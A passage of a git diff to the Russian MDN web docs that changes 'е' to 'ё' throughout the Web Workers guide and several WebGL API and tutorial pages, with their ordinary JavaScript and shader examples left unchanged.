href="https://github.com/mdn/simple-web-worker/blob/gh-pages/worker.js">worker.js</a>):</p> @@ -90,7 +90,7 @@ second.onchange = function() { <p class="note"><strong>Заметка</strong>: Обратите внимание, что <font face="consolas, Liberation Mono, courier, monospace"><code>onmessage()</code> и <code>postmessage()</code> должны вызываться из экземпляра Worker в главном потоке, но не в потоке worker-а. Это связано с тем, что внутри потока worker-а, worker выступает в качестве глобального объекта.</font></p> -<p class="note"><strong>Заметка</strong>: При передаче сообщения между основным потоком и потоком worker-а, оно копируется или "передается" (перемещается), не делится между потоками. Читайте {{anch("Transferring data to and from workers: further details")}} для более подробного объяснения.</p> +<p class="note"><strong>Заметка</strong>: При передаче сообщения между основным потоком и потоком worker-а, оно копируется или "передаётся" (перемещается), не делится между потоками. Читайте {{anch("Transferring data to and from workers: further details")}} для более подробного объяснения.</p> <h3 id="Завершение_работы_worker-а">Завершение работы worker-а</h3> @@ -123,7 +123,7 @@ second.onchange = function() { <h3 id="Импорт_скриптов_и_библиотек">Импорт скриптов и библиотек</h3> -<p>Worker потоки имеют доступ к глобальной функции, <code>importScripts()</code>, которая позволяет импортировать скрипты с того же домена в их область видимости. Функция принимает ноль и более URI параметров, как список ссылок на ресурсы для импорта; все нижеприведенные примеры верны:</p> +<p>Worker потоки имеют доступ к глобальной функции, <code>importScripts()</code>, которая позволяет импортировать скрипты с того же домена в их область видимости. Функция принимает ноль и более URI параметров, как список ссылок на ресурсы для импорта; все нижеприведённые примеры верны:</p> <pre class="brush: js notranslate">importScripts(); /* imports nothing */ importScripts('foo.js'); /* imports just "foo.js" */ @@ -132,13 +132,13 @@ importScripts('foo.js', 'bar.js'); /* imports two scripts */ <p>Браузер загружает каждый указанный скрипт и исполняет его. Любые глобальные объекты, создаваемые каждым скриптом могут быть использованы в worker'е. Если скрипт не удалось загрузить, будет брошена ошибка <code>NETWORK_ERROR</code>, и последующий код не будет исполнен. Тем не менее код, исполненный ранее (включая отложенный при помощи {{domxref("window.setTimeout()")}}) останется функционален. Объявления функций идущие <strong>после</strong> вызова метода <code>importScripts()</code> также будут доступны, т.к. объявления функций всегда обрабатываются перед остальным кодом.</p> -<div class="note"><strong>Заметка</strong>: Скрипты могут быть загружены в произвольном порядке, но их исполнение будет в том порядке, в котором имена файлов были переданы в <code>importScripts()</code>. Функция выполняется синхронно; <code>importScripts()</code> не вернет исполнение, пока все скрипты не будут загружены и исполнены.</div> +<div class="note"><strong>Заметка</strong>: Скрипты могут быть загружены в произвольном порядке, но их исполнение будет в том порядке, в котором имена файлов были переданы в <code>importScripts()</code>. Функция выполняется синхронно; <code>importScripts()</code> не вернёт исполнение, пока все скрипты не будут загружены и исполнены.</div> <h2 id="Разделяемые_worker-ы_Shared_workers">Разделяемые worker-ы (Shared workers)</h2> <p>Разделяемый worker доступен нескольким разным скриптам — даже если они находятся в разных окнах, фреймах или даже worker-ах. В этом разделе мы обсудим JavaScript, который можно найти в нашем <a class="external external-icon" href="https://github.com/mdn/simple-shared-worker">базовом примере разделяемых worker-ов</a> (<a class="external external-icon" href="http://mdn.github.io/simple-shared-worker/">запустить разделяемый worker</a>): Он очень похож на базовый пример выделенных worker-ов, за исключением двух функций, которые доступны из разных скриптовых файлов: <em>умножение двух чисел</em> или <em>возведение числа в степень.</em> Оба скрипта используют один и тот же worker для необходимых вычислений.</p> -<p>Здесь мы сосредоточимся на разнице между выделенными и разделенными worker-ами. Обратите внимание, что в данном примере есть две HTML страницы с JavaScript кодом, которые используют один и тот же файл worker-а.</p> +<p>Здесь мы сосредоточимся на разнице между выделенными и разделёнными worker-ами. Обратите внимание, что в данном примере есть две HTML страницы с JavaScript кодом, которые используют один и тот же файл worker-а.</p> <div class="note"> <p><strong>Заметка</strong>: Если разделяемый worker может быть доступен из нескольких контекстов просмотра, то все они должны иметь одно и то же происхождение (одни и те же протокол, хост и порт).</p> @@ -168,7 +168,7 @@ importScripts('foo.js', 'bar.js'); /* imports two scripts */ <h3 id="Передача_сообщений_виз_разделяемого_worker-а">Передача сообщений в/из разделяемого worker-а</h3> -<p>Теперь сообщения могут быть отправлены worker-у, как и прежде, но метод <code>postMessage()</code> должен вызываться из объекта <code>port</code> (еще раз, вы можете увидеть схожие конструкции в <a href="https://github.com/mdn/simple-shared-worker/blob/gh-pages/multiply.js">multiply.js</a> и <a href="https://github.com/mdn/simple-shared-worker/blob/gh-pages/square.js">square.js</a>):</p> +<p>Теперь сообщения могут быть отправлены worker-у, как и прежде, но метод <code>postMessage()</code> должен вызываться из объекта <code>port</code> (ещё раз, вы можете увидеть схожие конструкции в <a href="https://github.com/mdn/simple-shared-worker/blob/gh-pages/multiply.js">multiply.js</a> и <a href="https://github.com/mdn/simple-shared-worker/blob/gh-pages/square.js">square.js</a>):</p> <pre class="brush: js notranslate">squareNumber.onchange = function() { myWorker.port.postMessage([squareNumber.value,squareNumber.value]); @@ -190,9 +190,9 @@ importScripts('foo.js', 'bar.js'); /* imports two scripts */ <p>Мы используем атрибут события <code>ports</code>, чтобы получить порт и сохранить его в переменной.</p> -<p>Второй этап — это обработчик события <code>message</code> на сохраненном порту. Он нужен для подсчета и вывода результата вычисления в основной поток. Установка обработчика <code>message</code> в потоке worker-а также открывает подключение к родительскому потоку, поэтому вызов на <code>port.start()</code> на самом деле не нужен (см. код обработчика <code>onconnect</code>).</p> +<p>Второй этап — это обработчик события <code>message</code> на сохранённом порту. Он нужен для подсчёта и вывода результата вычисления в основной поток. Установка обработчика <code>message</code> в потоке worker-а также открывает подключение к родительскому потоку, поэтому вызов на <code>port.start()</code> на самом деле не нужен (см. код обработчика <code>onconnect</code>).</p> -<p>Последний этап — возвращение в основной поток и обработка сообщения от worker‑а (еще раз, вы можете увидеть схожие конструкции в <a href="https://github.com/mdn/simple-shared-worker/blob/gh-pages/multiply.js">multiply.js</a> и <a href="https://github.com/mdn/simple-shared-worker/blob/gh-pages/square.js">square.js</a>):</p> +<p>Последний этап — возвращение в основной поток и обработка сообщения от worker‑а (ещё раз, вы можете увидеть схожие конструкции в <a href="https://github.com/mdn/simple-shared-worker/blob/gh-pages/multiply.js">multiply.js</a> и <a href="https://github.com/mdn/simple-shared-worker/blob/gh-pages/square.js">square.js</a>):</p> <pre class="brush: js notranslate">myWorker.port.onmessage = function(e) { result2.textContent = e.data[0]; @@ -209,7 +209,7 @@ importScripts('foo.js', 'bar.js'); /* imports two scripts */ <h2 id="Передача_данных_в_и_из_worker-ов_другие_детали">Передача данных в и из worker-ов: другие детали</h2> -<p>Передача данных между главной страницей и worker-ом происходит путем копирования, а не передачи по ссылке. Объекты сериализуются при передаче и затем десериализуются на другом конце. Страница и worker не используют совместно одни и те же экземпляры, для каждого создается свой. Большинство браузеров реализуют это структурированным клонированием (<a href="/en-US/docs/Web/Guide/API/DOM/The_structured_clone_algorithm">structured cloning</a>).</p> +<p>Передача данных между главной страницей и worker-ом происходит путём копирования, а не передачи по ссылке. Объекты сериализуются при передаче и затем десериализуются на другом конце. Страница и worker не используют совместно одни и те же экземпляры, для каждого создаётся свой. Большинство браузеров реализуют это структурированным клонированием (<a href="/en-US/docs/Web/Guide/API/DOM/The_structured_clone_algorithm">structured cloning</a>).</p> <p>Для иллюстрации этого мы создадим функцию <code>emulateMessage()</code>, которая будет имитировать поведение значения, которое клонируется, но не используется совместно при переходе от worker-а к главной странице или наоборот.</p> @@ -251,7 +251,7 @@ var example5 = new Animal("Cat", 3); alert(example5.constructor); // Animal alert(emulateMessage(example5).constructor); // Object</pre> -<p>Значения, которые клонируются и совместно не используются, называются сообщениями. Как вы, возможно, знаете, сообщения могут быть отправлены в главную страницу и из нее, используя <code>postMessage()</code>, и {{domxref("MessageEvent.data", "data")}}, содержа данные, передаваемые из worker-а.</p> +<p>Значения, которые клонируются и совместно не используются, называются сообщениями. Как вы, возможно, знаете, сообщения могут быть отправлены в главную страницу и из неё, используя <code>postMessage()</code>, и {{domxref("MessageEvent.data", "data")}}, содержа данные, передаваемые из worker-а.</p> <p><strong>example.html</strong>: (главная страница):</p> @@ -279,7 +279,7 @@ onmessage = function (oEvent) { <p>Если вам нужно передать сложные данные и вызвать множество различных функций как на главной странице, так и в worker-е, вы можете создать следующую систему.</p> -<p>В первую очередь мы создаем класс QueryableWorker, который принимает url worker-а, стандартный обработчик событий (defaultListener) и обработчик ошибок. Этот класс будет отслеживать всех обработчиков и поможет нам общаться с воркером.</p> +<p>В первую очередь мы создаём класс QueryableWorker, который принимает url worker-а, стандартный обработчик событий (defaultListener) и обработчик ошибок. Этот класс будет отслеживать всех обработчиков и поможет нам общаться с воркером.</p> <pre class="brush: js notranslate"><code>function QueryableWorker(url, defaultListener, onError) { var instance = this, @@ -516,7 +516,7 @@ onmessage = function(oEvent) { <h3 id="Передача_данных_с_помощью_передачи_владения_передаваемые_объекты">Передача данных с помощью передачи владения (передаваемые объекты)</h3> -<p>Google Chrome 17+ and Firefox 18+ имеют дополнительную возможность передачи определенных типов объектов (передаваемые объекты реализующие {{domxref("Transferable")}} интерфейс) к или из worker-а с высокой производительностью. Эти объекты передаются из одного контекста в другой без операций копирования, что приводит к значительному повышению производительности при отправке больших наборов данных. Думайте об этом как о передаче по ссылке в мире C/C++. Однако в отличии от передачи по ссылке, "версия" из вызывающего контекста больше недоступна после передачи. Владельцем становится новый контекст. Для примера, после передачи {{domxref("ArrayBuffer")}} из главной страницы к worker-у, исходный {{domxref("ArrayBuffer")}} очищается и более недоступен для использования. Его содержание (в буквальном смысле) переносится в рабочий контекст.</p> +<p>Google Chrome 17+ and Firefox 18+ имеют дополнительную возможность передачи определённых типов объектов (передаваемые объекты реализующие {{domxref("Transferable")}} интерфейс) к или из worker-а с высокой производительностью. Эти объекты передаются из одного контекста в другой без операций копирования, что приводит к значительному повышению производительности при отправке больших наборов данных. Думайте об этом как о передаче по ссылке в мире C/C++. Однако в отличии от передачи по ссылке, "версия" из вызывающего контекста больше недоступна после передачи. Владельцем становится новый контекст. Для примера, после передачи {{domxref("ArrayBuffer")}} из главной страницы к worker-у, исходный {{domxref("ArrayBuffer")}} очищается и более недоступен для использования. Его содержание (в буквальном смысле) переносится в рабочий контекст.</p> <pre class="brush: js notranslate">// Create a 32MB "file" and fill it. var uInt8Array = new Uint8Array(1024*1024*32); // 32MB @@ -533,7 +533,7 @@ worker.postMessage(uInt8Array.buffer, [uInt8Array.buffer]); <h2 id="Встроенные_worker-ы">Встроенные worker-ы</h2> -<p>Не существует утвержденного способа встроить код worker-а в рамках веб-страницы, как элемент {{HTMLElement("script")}} делает для обычных скриптов. Но элемент {{HTMLElement("script")}}, который не имеет атрибута <code>src</code> и атрибута <code>type</code>, которому не назначен выполняемый MIME type, можно считать блоком данных для использования JavaScript. Блок данных "Data blocks" — это более общее свойство HTML5, может содержать любые текстовые данные. Так, worker может быть встроен следующим образом:</p> +<p>Не существует утверждённого способа встроить код worker-а в рамках веб-страницы, как элемент {{HTMLElement("script")}} делает для обычных скриптов. Но элемент {{HTMLElement("script")}}, который не имеет атрибута <code>src</code> и атрибута <code>type</code>, которому не назначен выполняемый MIME type, можно считать блоком данных для использования JavaScript. Блок данных "Data blocks" — это более общее свойство HTML5, может содержать любые текстовые данные. Так, worker может быть встроен следующим образом:</p> <pre class="brush: html line-numbers language-html notranslate"><code class="language-html"><span class="doctype token"><!DOCTYPE html></span> <span class="tag token"><span class="tag token"><span class="punctuation token"><</span>html</span><span class="punctuation token">></span></span> @@ -543,7 +543,7 @@ worker.postMessage(uInt8Array.buffer, [uInt8Array.buffer]); <span class="tag token"><span class="tag token"><span class="punctuation token"><</span>script</span> <span class="attr-name token">type</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>text/js-worker<span class="punctuation token">"</span></span><span class="punctuation token">></span></span><span class="script token"><span class="language-javascript token"> <span class="comment token">// Этот script НЕ БУДЕТ анализироваться JS движками, потому что его MIME-тип text/js-worker.</span> <span class="keyword token">var</span> myVar <span class="operator token">=</span> <span class="string token">'Hello World!'</span><span class="punctuation token">;</span> - <span class="comment token">// </span></span></span></code>Остальная часть кода вашего воркера идет сюда.<code class="language-html"><span class="script token"><span class="language-javascript token"> + <span class="comment token">// </span></span></span></code>Остальная часть кода вашего воркера идёт сюда.<code class="language-html"><span class="script token"><span class="language-javascript token"> </span></span><span class="tag token"><span class="tag token"><span class="punctuation token"></</span>script</span><span class="punctuation token">></span></span> <span class="tag token"><span class="tag token"><span class="punctuation token"><</span>script</span> <span class="attr-name token">type</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>text/javascript<span class="punctuation token">"</span></span><span class="punctuation token">></span></span><span class="script token"><span class="language-javascript token"> <span class="comment token">// Этот script БУДЕТ проанализирован JS движкам, потому что его MIME-тип text/javascript.</span> @@ -560,7 +560,7 @@ worker.postMessage(uInt8Array.buffer, [uInt8Array.buffer]); <span class="function function-variable token">onmessage</span> <span class="operator token">=</span> <span class="keyword token">function</span><span class="punctuation token">(</span><span class="parameter token">oEvent</span><span class="punctuation token">)</span> <span class="punctuation token">{</span> <span class="function token">postMessage</span><span class="punctuation token">(</span>myVar<span class="punctuation token">)</span><span class="punctuation token">;</span> <span class="punctuation token">}</span><span class="punctuation token">;</span> - <span class="comment token">// </span></span></span></code>Остальная часть кода вашего воркера идет сюда.<code class="language-html"><span class="script token"><span class="language-javascript token"> + <span class="comment token">// </span></span></span></code>Остальная часть кода вашего воркера идёт сюда.<code class="language-html"><span class="script token"><span class="language-javascript token"> </span></span><span class="tag token"><span class="tag token"><span class="punctuation token"></</span>script</span><span class="punctuation token">></span></span> <span class="tag token"><span class="tag token"><span class="punctuation token"><</span>script</span> <span class="attr-name token">type</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>text/javascript<span class="punctuation token">"</span></span><span class="punctuation token">></span></span><span class="script token"><span class="language-javascript token"> <span class="comment token">// Этот script БУДЕТ проанализирован JS движкам, потому что его MIME-тип text/javascript.</span> @@ -585,7 +585,7 @@ worker.postMessage(uInt8Array.buffer, [uInt8Array.buffer]); <span class="tag token"><span class="tag token"><span class="punctuation token"></</span>html</span><span class="punctuation token">></span></span></code> </pre> -<div id="logDisplay">Встраиваемый worker теперь внесен в новое custom свойство <code>document.worker</code></div> +<div id="logDisplay">Встраиваемый worker теперь внесён в новое custom свойство <code>document.worker</code></div> <div></div> @@ -599,11 +599,11 @@ worker.postMessage(uInt8Array.buffer, [uInt8Array.buffer]); <h2 id="Другие_примеры">Другие примеры</h2> -<p>В этой секции представлено еще несколько примеров как использовать worker-ы.</p> +<p>В этой секции представлено ещё несколько примеров как использовать worker-ы.</p> <h3 id="Выполнение_вычислений_в_фоне">Выполнение вычислений в фоне</h3> -<p>Worker-ы в основном полезны для того, чтобы позволить вашему коду выполнять ресурсоемкие вычисления, не блокируя поток пользовательского интерфейса. В этом примере, worker используется для вычисления числа Фибоначчи.</p> +<p>Worker-ы в основном полезны для того, чтобы позволить вашему коду выполнять ресурсоёмкие вычисления, не блокируя поток пользовательского интерфейса. В этом примере, worker используется для вычисления числа Фибоначчи.</p> <h4 id="Код_JavaScript">Код JavaScript</h4> @@ -672,7 +672,7 @@ onmessage = function(event) { <span class="tag token"><span class="tag token"><span class="punctuation token"></</span>body</span><span class="punctuation token">></span></span> <span class="tag token"><span class="tag token"><span class="punctuation token"></</span>html</span><span class="punctuation token">></span></span></code></pre> -<p>Веб-страница создает элемент <code>div</code> с ID <code>result</code> , который используется для отображения результата, а затем порождает worker. После порождения worker-а, обработчик <code>onmessage</code> настроен для отображения результатов путем установки содержимого элемента <code>div</code>, и обработчик <code>onerror</code> настроен на <a href="/en-US/docs/Debugging_JavaScript#dump.28.29">выброс</a> сообщения об ошибке.</p> +<p>Веб-страница создаёт элемент <code>div</code> с ID <code>result</code> , который используется для отображения результата, а затем порождает worker. После порождения worker-а, обработчик <code>onmessage</code> настроен для отображения результатов путём установки содержимого элемента <code>div</code>, и обработчик <code>onerror</code> настроен на <a href="/en-US/docs/Debugging_JavaScript#dump.28.29">выброс</a> сообщения об ошибке.</p> <p>Наконец, сообщение отправляется worker-у, чтобы запустить его.</p> @@ -684,7 +684,7 @@ onmessage = function(event) { <h3 id="Разделение_задач_между_множественными_worker-ами">Разделение задач между множественными worker-ами</h3> -<p>Поскольку многоядерные компьютеры становятся все более распространенными, часто бывает полезно разделить вычислительно сложные задачи между несколькими worker-ами, которые затем могут выполнить эти задачи на многопроцессорных ядрах.</p> +<p>Поскольку многоядерные компьютеры становятся все более распространёнными, часто бывает полезно разделить вычислительно сложные задачи между несколькими worker-ами, которые затем могут выполнить эти задачи на многопроцессорных ядрах.</p> <h2 id="Другие_типы_worker-ов">Другие типы worker-ов</h2> diff --git a/files/ru/web/api/webgl_api/index.html b/files/ru/web/api/webgl_api/index.html index 6a35a2dda3..dc83c9b165 100644 --- a/files/ru/web/api/webgl_api/index.html +++ b/files/ru/web/api/webgl_api/index.html @@ -7,7 +7,7 @@ translation_of: Web/API/WebGL_API --- <div>{{WebGLSidebar}}</div> -<p class="summary">WebGL (Web Graphics Library) - программная библиотека для языка JavaScript предназначенная для визуализации интерактивной трехмерной графики и двухмерной графики в пределах совместимости веб-браузера без использования плагинов. WebGL приносит в веб трехмерную графику, вводя API, который построен на основе OpenGL ES 2.0, что позволяет его использовать в элементах <a href="/en-US/docs/HTML/Canvas" title="en-US/docs/html/canvas"><code> canvas</code></a> HTML5 .</p> +<p class="summary">WebGL (Web Graphics Library) - программная библиотека для языка JavaScript предназначенная для визуализации интерактивной трёхмерной графики и двухмерной графики в пределах совместимости веб-браузера без использования плагинов. WebGL приносит в веб трёхмерную графику, вводя API, который построен на основе OpenGL ES 2.0, что позволяет его использовать в элементах <a href="/en-US/docs/HTML/Canvas" title="en-US/docs/html/canvas"><code> canvas</code></a> HTML5 .</p> <p>Поддержка WebGL присутствует в <a href="/en-US/Firefox" title="Firefox 4 for developers">Firefox</a> 4+, <a href="http://www.google.com/chrome/" title="http://www.google.com/chrome/">Google Chrome</a> 9+, <a href="http://www.opera.com/" title="http://www.opera.com/">Opera</a> 12+, <a href="http://www.apple.com/safari/" title="http://www.apple.com/fr/safari/">Safari </a>5.1+ и <a href="http://windows.microsoft.com/en-us/internet-explorer/browser-ie" title="http://windows.microsoft.com/en-us/internet-explorer/download-ie">Internet Explorer</a> 11+. Однако помимо поддержки WebGL браузером, необходима также его поддержка графическим процессором клиента.</p> @@ -51,11 +51,11 @@ translation_of: Web/API/WebGL_API <dt><a class="external" href="http://www.khronos.org/webgl/" title="http://www.khronos.org/webgl/">Официальный сайт WebGL</a></dt> <dd>Веб-сайт разработчиков WebGL - Khronos Group.</dd> <dt><a class="external" href="http://learningwebgl.com/blog/" title="http://learningwebgl.com/blog/">Изучение WebGL</a></dt> - <dd>Веб-сайт с уроками, посвященными использованию WebGL.</dd> + <dd>Веб-сайт с уроками, посвящёнными использованию WebGL.</dd> <dt><a href="http://www.html5rocks.com/en/tutorials/webgl/webgl_fundamentals/" title="http://www.html5rocks.com/en/tutorials/webgl/webgl_fundamentals/">Основы WebGL</a></dt> <dd>Учебные материалы по основным возможностям WebGL.</dd> <dt><a href="http://games.greggman.com/game/webgl-2d-matrices/">Матрицы в WebGL</a></dt> - <dd>Введение в использование матриц в двухмерной графике на WebGL. На этом ресурсе объясняется математическая основа перспективы в трехмерной графике.</dd> + <dd>Введение в использование матриц в двухмерной графике на WebGL. На этом ресурсе объясняется математическая основа перспективы в трёхмерной графике.</dd> <dt><a class="external" href="http://learningwebgl.com/cookbook/index.php/" title="http://learningwebgl.com/cookbook/index.php/">Советы по использованию WebGL</a></dt> <dd>Веб-сайт с советами по написанию кода на WebGL.</dd> <dt><a class="external" href="http://code.google.com/p/ewgl-matrices/" title="http://code.google.com/p/ewgl-matrices/">ewgl-matrices</a></dt> diff --git a/files/ru/web/api/webgl_api/tutorial/adding_2d_content_to_a_webgl_context/index.html b/files/ru/web/api/webgl_api/tutorial/adding_2d_content_to_a_webgl_context/index.html index 55ea7cad8c..4bafecab6d 100644 --- a/files/ru/web/api/webgl_api/tutorial/adding_2d_content_to_a_webgl_context/index.html +++ b/files/ru/web/api/webgl_api/tutorial/adding_2d_content_to_a_webgl_context/index.html @@ -11,7 +11,7 @@ translation_of: Web/API/WebGL_API/Tutorial/Adding_2D_content_to_a_WebGL_context <h2 id="Отрисовка_сцены">Отрисовка сцены</h2> -<p>На данном этапе очень важно понять одну вещь: не смотря на то, что мы в этом примере отрисовываем двухмерный объект, мы по-прежнему отрисовываем его в трехмерном пространстве. По существу, нам по-прежнему необходимо создать шейдеры, которые будут освещать нашу простую сцену, и отрисовать наш объект. На данном шаге определим как квадрат будет освещаться.</p> +<p>На данном этапе очень важно понять одну вещь: не смотря на то, что мы в этом примере отрисовываем двухмерный объект, мы по-прежнему отрисовываем его в трёхмерном пространстве. По существу, нам по-прежнему необходимо создать шейдеры, которые будут освещать нашу простую сцену, и отрисовать наш объект. На данном шаге определим как квадрат будет освещаться.</p> <h3 id="Инициализация_шейдеров">Инициализация шейдеров</h3> @@ -44,11 +44,11 @@ translation_of: Web/API/WebGL_API/Tutorial/Adding_2D_content_to_a_WebGL_context <p>Этой процедурой загружаются две шейдерные программы. Первая - фрагментный шейдер, загружается из элемента <a href="/en/HTML/Element/Script" title="En/HTML/Element/Script"><code>script</code></a> с ID "shader-fs". Вторая - вершинный шейдер, загружается из элемента <a href="/en/HTML/Element/Script" title="En/HTML/Element/Script"><code>script</code></a> с ID "shader-vs". Мы рассмотрим функцию <code>getShader()</code> чуть ниже. Эта процедура фактически отвечает за извлечение шейдерных программ из DOM.</p> -<p>Затем мы создаем шейдерную программу, вызывая функцию <code>createProgram()</code> объекта WebGL, присоединяя два шейдера к нему, и связывая шейдерную программу. После выполнения этого, проверяется значение параметра <code>LINK_STATUS</code> объекта <code>gl</code> для того, чтобы убедиться, что программа успешно скомпонована. Если это так, мы активируем новую шейдерную программу.</p> +<p>Затем мы создаём шейдерную программу, вызывая функцию <code>createProgram()</code> объекта WebGL, присоединяя два шейдера к нему, и связывая шейдерную программу. После выполнения этого, проверяется значение параметра <code>LINK_STATUS</code> объекта <code>gl</code> для того, чтобы убедиться, что программа успешно скомпонована. Если это так, мы активируем новую шейдерную программу.</p> <h3 id="Загрузка_шейдеров_из_DOM">Загрузка шейдеров из DOM</h3> -<p>Функция <code>getShader()</code> получает из DOM шейдерную программу с определенным именем, возвращая скомпилированную шейдерную программу вызывающему, или значение null, если шейдерная программа не может быть загружена или скомпилирована.</p> +<p>Функция <code>getShader()</code> получает из DOM шейдерную программу с определённым именем, возвращая скомпилированную шейдерную программу вызывающему, или значение null, если шейдерная программа не может быть загружена или скомпилирована.</p> <pre class="brush: js">function getShader(gl, id) { var shaderScript, theSource, currentChild, shader; @@ -82,7 +82,7 @@ translation_of: Web/API/WebGL_API/Tutorial/Adding_2D_content_to_a_WebGL_context return null; }</pre> -<p>После того, как код для шейдера считан, мы проверяем MIME тип шейдерного объекта, чтобы определить является он вершинным (MIME type "x-shader/x-vertex") или фрагментным (MIME type "x-shader/x-fragment") шейдером, а затем создаем соответствующий тип шейдера из полученного исходного кода.</p> +<p>После того, как код для шейдера считан, мы проверяем MIME тип шейдерного объекта, чтобы определить является он вершинным (MIME type "x-shader/x-vertex") или фрагментным (MIME type "x-shader/x-fragment") шейдером, а затем создаём соответствующий тип шейдера из полученного исходного кода.</p> <pre class="brush: js"> gl.shaderSource(shader, theSource); @@ -109,7 +109,7 @@ translation_of: Web/API/WebGL_API/Tutorial/Adding_2D_content_to_a_WebGL_context <p>Каждый пиксель в полигоне называется <strong>фрагментом</strong> в языке GL. Фрагментные шейдеры необходимы для назначения цвета для каждого пикселя. В данном случае, мы просто назначаем белый цвет каждому пикселю.</p> -<p><code>gl_FragColor</code> - встроенная переменная GL, используемая для управления цветом фрагментов. Устанавливая ее значение назначаем цвет пикселям. Ниже приведен пример этого.</p> +<p><code>gl_FragColor</code> - встроенная переменная GL, используемая для управления цветом фрагментов. Устанавливая её значение назначаем цвет пикселям. Ниже приведён пример этого.</p> <pre class="brush: html"><script id="shader-fs" type="x-shader/x-fragment"> void main(void) { @@ -136,7 +136,7 @@ translation_of: Web/API/WebGL_API/Tutorial/Adding_2D_content_to_a_WebGL_context <h2 id="Создание_объекта">Создание объекта</h2> -<p>Перед тем, как мы отрисуем наш квадрат, нам необходимо создать буфер, который содержит его вершины. Мы сделаем это, вызвав функцию <code>initBuffers().</code> По мере ознакомления с другими концепциями WebGL, эта функция будет усложняться при создании более сложных трехмерных объектов.</p> +<p>Перед тем, как мы отрисуем наш квадрат, нам необходимо создать буфер, который содержит его вершины. Мы сделаем это, вызвав функцию <code>initBuffers().</code> По мере ознакомления с другими концепциями WebGL, эта функция будет усложняться при создании более сложных трёхмерных объектов.</p> <pre class="brush: js">var horizAspect = 480.0/640.0; @@ -155,9 +155,9 @@ function initBuffers() { } </pre> -<p>В этом примере эта функция упрощена и дает оценить основную суть сцены. Она начинает работу с вызова метода <code>createBuffer()</code> объекта <code>gl</code> для получения буфера, в котором мы будем хранить вершины. Затем он привязывается к контексту, вызовом метода <code>bindBuffer()</code>.</p> +<p>В этом примере эта функция упрощена и даёт оценить основную суть сцены. Она начинает работу с вызова метода <code>createBuffer()</code> объекта <code>gl</code> для получения буфера, в котором мы будем хранить вершины. Затем он привязывается к контексту, вызовом метода <code>bindBuffer()</code>.</p> -<p>После того, как мы это сделали, мы создаем JavaScript массив, содержащий координаты для каждой вершины квадрата. Затем этот массив преобразуется в массив вещественных чисел WebGL и передается в метод <code>bufferData()</code> объекта <code>gl</code> для назначения вершин объекту.</p> +<p>После того, как мы это сделали, мы создаём JavaScript массив, содержащий координаты для каждой вершины квадрата. Затем этот массив преобразуется в массив вещественных чисел WebGL и передаётся в метод <code>bufferData()</code> объекта <code>gl</code> для назначения вершин объекту.</p> <h2 id="Отрисовка_сцены_2">Отрисовка сцены</h2> @@ -180,17 +180,17 @@ function initBuffers() { <p>Первый шаг - очистка цветом фона сцены контекста. Затем мы устанавливаем перспективу камеры. Мы устанавливаем угол обзора в 45°, с соотношением ширины к высоте равным 640/480 (размеры нашего объекта canvas). Мы также определяем, что мы хотим видеть отрисованными объекты на расстоянии от 0.1 до 100 единиц от камеры.</p> -<p>Затем мы устанавливаем позицию квадрата, загружая определенную позицию и размещая ее от камеры на 6 единиц. После этого, мы привязываем буфер, содержащий вершины квадрата к контексту, настраиваем его, и отрисовываем объект, вызывая метод <code>drawArrays()</code>.</p> +<p>Затем мы устанавливаем позицию квадрата, загружая определённую позицию и размещая её от камеры на 6 единиц. После этого, мы привязываем буфер, содержащий вершины квадрата к контексту, настраиваем его, и отрисовываем объект, вызывая метод <code>drawArrays()</code>.</p> -<p>Вы можете <a href="/samples/webgl/sample2" title="https://developer.mozilla.org/samples/webgl/sample2">посмотреть как это работает щелкнув по этой ссылке</a>. Но это только в том случае, если используемый браузер осуществляет поддержку WebGL.</p> +<p>Вы можете <a href="/samples/webgl/sample2" title="https://developer.mozilla.org/samples/webgl/sample2">посмотреть как это работает щёлкнув по этой ссылке</a>. Но это только в том случае, если используемый браузер осуществляет поддержку WebGL.</p> <h2 id="Операции_над_матрицами">Операции над матрицами</h2> <p>Операции над матрицами достаточно сложны. Никому бы не хотелось самому писать весь код для работы с ними. К счастью, есть <a class="external" href="http://sylvester.jcoglan.com/" title="http://sylvester.jcoglan.com/">Sylvester</a> - очень удобная библиотека для выполнения операций над векторами и матрицами, написанная на JavaScript.</p> -<p>Файл <code>glUtils.js</code>, используемый в этом примере, используется большинством примеров на WebGL, размещенных в сети интернет. Никто не знает точно откуда он появился. Он просто используется Sylvester и он даже пополняется методами для построения специальных типов матриц, а также вывода HTML для их отображения.</p> +<p>Файл <code>glUtils.js</code>, используемый в этом примере, используется большинством примеров на WebGL, размещённых в сети интернет. Никто не знает точно откуда он появился. Он просто используется Sylvester и он даже пополняется методами для построения специальных типов матриц, а также вывода HTML для их отображения.</p> -<p>Также, этот пример определяет несколько полезных процедур взаимодействия с этими библиотеками для выполнения определенных задач. Пояснения относительно того, что делает каждая из приведенных функций, выходят за рамки этого примера, но в сети есть много хороших материалов об операциях над матрицами. Чуть {{ anch("ниже") }} есть список некоторых из них.</p> +<p>Также, этот пример определяет несколько полезных процедур взаимодействия с этими библиотеками для выполнения определённых задач. Пояснения относительно того, что делает каждая из приведённых функций, выходят за рамки этого примера, но в сети есть много хороших материалов об операциях над матрицами. Чуть {{ anch("ниже") }} есть список некоторых из них.</p> <pre class="brush: js">function loadIdentity() { mvMatrix = Matrix.I(4); diff --git a/files/ru/web/api/webgl_api/tutorial/animating_objects_with_webgl/index.html b/files/ru/web/api/webgl_api/tutorial/animating_objects_with_webgl/index.html index 919d3fccff..af607e92cf 100644 --- a/files/ru/web/api/webgl_api/tutorial/animating_objects_with_webgl/index.html +++ b/files/ru/web/api/webgl_api/tutorial/animating_objects_with_webgl/index.html @@ -18,7 +18,7 @@ translation_of: Web/API/WebGL_API/Tutorial/Animating_objects_with_WebGL <pre class="brush: js">var squareRotation = 0.0; </pre> -<p>Теперь нам надо изменить процедуру <code>drawScene()</code> и добавить в неё код, который бы учитывал этот угол поворота при отрисовке квадрата в нашей сцене. После первоначального расчета матрицы положения для квадрата мы применяем условия поворота следующим образом:</p> +<p>Теперь нам надо изменить процедуру <code>drawScene()</code> и добавить в неё код, который бы учитывал этот угол поворота при отрисовке квадрата в нашей сцене. После первоначального расчёта матрицы положения для квадрата мы применяем условия поворота следующим образом:</p> <pre class="brush: js">mvPushMatrix(); mvRotate(squareRotation, [1, 0, 1]); diff --git a/files/ru/web/api/webgl_api/tutorial/creating_3d_objects_using_webgl/index.html 